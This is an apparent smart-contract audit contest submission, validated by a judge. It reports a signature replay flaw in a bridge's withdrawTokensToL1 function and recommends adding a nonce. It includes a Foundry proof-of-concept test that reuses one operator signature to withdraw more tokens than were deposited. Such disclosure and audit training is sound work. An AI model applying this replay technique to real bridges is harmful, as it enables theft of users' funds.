Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Function withdrawTokensToL1 is vulnerable to Signature Replay attack

Summary

The Function withdrawTokensToL1 is vulnerable to Signature Replay attacks, allowing a bad actor to drain the bridge

Vulnerability Details

Observe the following function

function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
sendToL1(
v,
r,
s,
abi.encode(
address(token),
0, // value
abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
)
);
}
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
(address target, uint256 value, bytes memory data) = abi.decode(message, (address, uint256, bytes));
(bool success,) = target.call{ value: value }(data);
if (!success) {
revert L1BossBridge__CallFailed();
}
}

The function withdrawTokensToL1 uses the function sendtoL1 which allows a user to withdraw funds from L2 to L1. The problem is that signature used does not have a nonce parameter. Without it, a user can reuse the same signature over and over again, completely draining the bridge. See the modified foundry test below where a user was able to withdraw more funds than what was originally deposited:

function testUserCannotWithdrawTokensWhenBridgePaused() public {
vm.startPrank(user2);
uint256 bigdepositAmount = 100e18;
deal(address(token), user2, bigdepositAmount);
token.approve(address(tokenBridge), bigdepositAmount);
tokenBridge.depositTokensToL2(user2, user2inL2, bigdepositAmount);
vm.stopPrank();
vm.startPrank(user);
uint256 depositAmount = 10e18;
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
console.log("User balance is ", token.balanceOf(user));
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
console.log("user balance after replay is ", token.balanceOf(user));
}

Impact

Bridge can be drained

Tools Used

Foundry

Recommendations

Add a nonce when creating a signature

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.